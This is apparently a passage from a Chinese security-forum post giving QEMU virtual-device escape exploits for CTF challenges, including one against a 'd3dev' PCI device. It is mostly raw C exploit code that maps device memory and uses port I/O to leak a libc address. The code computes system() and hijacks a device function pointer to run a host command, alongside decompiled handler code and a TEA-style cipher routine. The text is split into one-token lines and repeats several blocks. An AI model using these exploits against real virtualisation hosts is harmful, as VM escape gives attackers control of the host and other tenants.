/
/
/
/
/
/
/
printf(
"[+] leak:0x%s\n"
,leak);
/
/
printf(
"[+] leak:0x%llx\n"
, leak);
long
long
base
=
*
((
long
long
*
)leak)
-
0x3404F3
;
/
/
-
0x3401BB
;
long
long
system
=
base
+
0x2C0AD0
;
printf(
"[+] base:0x%llx\n"
,base);
printf(
"[+] system:0x%llx\n"
,system);
write_io(
7
,
0x5c
,
0x44
,&system);
/
/
/
/
/
/
/
/
/
/
/
/
/
/
char command[]
=
"cat flag"
;
write_io(
4
,
0x3f
,
0
,command);
pmio_write(
12
,
0
);
return
0
;
}
char
*
mmio_mem;
int
pmio_base
=
0xc040
;
void mmio_write(uint64_t addr, char value) {
*
(char
*
)(mmio_mem
+
addr)
=
value;
}
uint64_t mmio_read(uint64_t addr) {
return
*
((char
*
)(mmio_mem
+
addr));
}
void pmio_write(uint32_t addr, uint32_t value)
{
outl(value, pmio_base
+
addr);
}
uint64_t pmio_read(uint32_t addr)
{
return
inl(pmio_base
+
addr);
}
uint64_t write_io(
int
idx,
int
size,
int
addr,char
*
data){
pmio_write(
0
,idx);
/
/
get idx rsi,rdx
pmio_write(
4
,size);
/
/
set
size rsi,rdx
for
(
int
i
=
0
;i<strlen(data);i
+
+
)
{
mmio_write(addr
+
i,data[i]);
}
}
uint64_t read_io(
int
idx,
int
size,
int
addr,char
*
data){
pmio_write(
0
,idx);
for
(
int
i
=
0
;i<size;i
+
+
)
{
data[i]
=
mmio_read(addr
+
i);
}
}
int
main()
{
/
/
init
int
fd
=
open
(
"/sys/devices/pci0000:00/0000:00:04.0/resource0"
,O_RDWR | O_SYNC);
mmio_mem
=
mmap(
0
,
0x1000
,PROT_READ | PROT_WRITE, MAP_SHARED,fd,
0
);
iopl(
3
);
/
/
char dedata[]
=
"ZWVlZQ=="
;
/
/
"eHVhbnh1YW4="
;
/
/
char data[
100
]
=
{
0
};
/
/
write_io(
2
,
0x5c
,
0
,dedata);
/
/
idx,size,addr,data
/
/
pmio_write(
16
,
0
);
/
/
/
/
read_io(
6
,
4
,
0
,data);
/
/
printf(
"[+] %s\n"
,data);
char data[
100
]
=
{
0
};
memset(data,
0
,
100
);
memset(data,
'/'
,
87
);
write_io(
2
,
0x5c
,
0
,data);
/
/
/
/
/
/
/
/
/
/
/
/
/
/
/
/
/
/
/
/
/
pmio_write(
16
,
0
);
/
/
decode
/
/
/
/
/
/
/
/
/
/
/
/
/
/
/
/
/
/
char leak[
16
];
read_io(
7
,
8
,
0x44
,leak);
/
/
/
/
/
/
/
/
/
/
/
/
/
printf(
"[+] leak:0x%s\n"
,leak);
/
/
printf(
"[+] leak:0x%llx\n"
, leak);
long
long
base
=
*
((
long
long
*
)leak)
-
0x3404F3
;
/
/
-
0x3401BB
;
long
long
system
=
base
+
0x2C0AD0
;
printf(
"[+] base:0x%llx\n"
,base);
printf(
"[+] system:0x%llx\n"
,system);
write_io(
7
,
0x5c
,
0x44
,&system);
/
/
/
/
/
/
/
/
/
/
/
/
/
/
char command[]
=
"cat flag"
;
write_io(
4
,
0x3f
,
0
,command);
pmio_write(
12
,
0
);
return
0
;
}
void __fastcall d3dev_pmio_write(d3devState
*
opaque, hwaddr addr, uint64_t val, unsigned
int
size)
{
uint32_t
*
key;
/
/
rbp
if
( addr
=
=
8
)
{
if
( val <
=
0x100
)
opaque
-
>seek
=
val;
}
else
if
( addr >
8
)
{
if
( addr
=
=
0x1C
)
{
opaque
-
>r_seed
=
val;
key
=
opaque
-
>key;
do
*
key
+
+
=
(opaque
-
>rand_r)(&opaque
-
>r_seed,
0x1CLL
, val,
*
&size);
while
( key !
=
&opaque
-
>rand_r );
}
}
else
if
( addr )
{
if
( addr
=
=
4
)
{
*
opaque
-
>key
=
0LL
;
*
&opaque
-
>key[
2
]
=
0LL
;
}
}
else
{
opaque
-
>memory_mode
=
val;
}
}
void __fastcall d3dev_pmio_write(d3devState
*
opaque, hwaddr addr, uint64_t val, unsigned
int
size)
{
uint32_t
*
key;
/
/
rbp
if
( addr
=
=
8
)
{
if
( val <
=
0x100
)
opaque
-
>seek
=
val;
}
else
if
( addr >
8
)
{
if
( addr
=
=
0x1C
)
{
opaque
-
>r_seed
=
val;
key
=
opaque
-
>key;
do
*
key
+
+
=
(opaque
-
>rand_r)(&opaque
-
>r_seed,
0x1CLL
, val,
*
&size);
while
( key !
=
&opaque
-
>rand_r );
}
}
else
if
( addr )
{
if
( addr
=
=
4
)
{
*
opaque
-
>key
=
0LL
;
*
&opaque
-
>key[
2
]
=
0LL
;
}
}
else
{
opaque
-
>memory_mode
=
val;
}
}
unsigned char
*
mmio_mem;
void setup_mmio() {
int
mmio_fd
=
open
(
"/sys/devices/pci0000:00/0000:00:03.0/resource0"
, O_RDWR | O_SYNC);
mmio_mem
=
mmap(
0
,
0x1000
, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd,
0
);
}
void mmio_write(uint32_t addr,uint32_t val){
*
((uint32_t
*
)(addr
+
mmio_mem))
=
val;
}
uint64_t mmio_read(uint64_t addr){
return
*
((uint64_t
*
)(addr
+
mmio_mem));
}
uint32_t pmio_base
=
0xc040
;
void setup_pmio() {
iopl(
3
);
/
/
0x3ff
以上端口全部开启访问
}
uint64_t pmio_read(uint64_t addr){
return
(uint64_t)inl(pmio_base
+
addr);
}
uint64_t pmio_write(uint64_t addr,uint64_t val){
outl(val,addr
+
pmio_base);
}
/
/
因为key
=
0
,所以直接省略掉key进行写加密解密函数。注意exp内的en实际对应的是de
uint64_t en(uint32_t high,uint32_t low){
uint32_t
sum
=
0xC6EF3720
;
uint32_t delta
=
0x9E3779b9
;
for
(
int
i
=
0
;i<
32
;i
+
+
){
high
-
=
(low
*
16
) ^ (low
+
sum
) ^ (low>>
5
);
low
-
=
(high
*
16
) ^ (high
+
sum
) ^ (high>>
5
);
/
/
sum
-
=
delta;
sum
+
=
0x61C88647
;
}
return
(uint64_t)high
*
0x100000000
+
low;
}
uint64_t de(uint32_t high,uint32_t low){
uint32_t
sum
=
0
;
uint32_t delta
=
0x9E3779b9
;
for
(
int
i
=
0
;i<
32
;i
+
+
){
/
/
sum
+
=
delta;
sum
-
=
0x61C88647
;
low
+
=
(high
*
16
) ^ (high
+
sum
) ^ (high>>
5
);
high
+
=
(low
*
16
) ^ (low
+
sum
) ^ (low>>
5
);
}
return
(uint64_t)high
*
0x100000000
+
low;
}
int
main()
{
printf(
"begin!!!!!\n"
);
setup_mmio();
setup_pmio();
pmio_write(
8
,
0x100
);
/
/
opaque
-
>seek
=
0x100
pmio_write(
4
,
0
);
/
/
key[
0
-
3
]
=
0
/
/
0x103
uint64_t rand_r
=
mmio_read(
24
);
/
/
decode
printf(
"region rand_r:0x%lx\n"
,rand_r);
uint64_t randr
=
de(rand_r
/
0x100000000
,rand_r
%
0x100000000
);
printf(
"encode randr:0x%lx\n"
,randr);
uint64_t system
=
randr
+
0xa560
;
printf(
"system:0x%lx\n"
, system);
uint64_t encode_system
=
en(system
/
0x100000000
, system
%
0x100000000
);
printf(
"encode system:0x%lx\n"
, encode_system);
uint32_t low_sys
=
encode_system
%
0x100000000
;
uint32_t high_sys
=
encode_system
/
0x100000000
;
mmio_write(
24
,low_sys);
/
/
只能
4
字节
4
字节的写入
sleep(
1
);
mmio_write(
24
,high_sys);
pmio_write(
8
,
0
);
mmio_write(
0
,
0x67616c66
);
/
/
blocks: flag
pmio_write(
0x1c
,
0x20746163
);
/
/
r_seed: cat
return
0
;
}
unsigned char
*
mmio_mem;
void setup_mmio() {
int
mmio_fd
=
open
(
"/sys/devices/pci0000:00/0000:00:03.0/resource0"
, O_RDWR | O_SYNC);
mmio_mem
=
mmap(
0
,
0x1000
, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd,
0
);
}
void mmio_write(uint32_t addr,uint32_t val){
*
((uint32_t
*
)(addr
+
mmio_mem))
=
val;
}
uint64_t mmio_read(uint64_t addr){
return
*
((uint64_t
*
)(addr
+
mmio_mem));
}
uint32_t pmio_base
=
0xc040
;
void setup_pmio() {
iopl(
3
);
/
/
0x3ff
以上端口全部开启访问
}
uint64_t pmio_read(uint64_t addr){
return
(uint64_t)inl(pmio_base
+
addr);
}
uint64_t pmio_write(uint64_t addr,uint64_t val){
outl(val,addr
+
pmio_base);
}
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课
最后于 2022-11-18 12:14
被e*16 a编辑
,原因: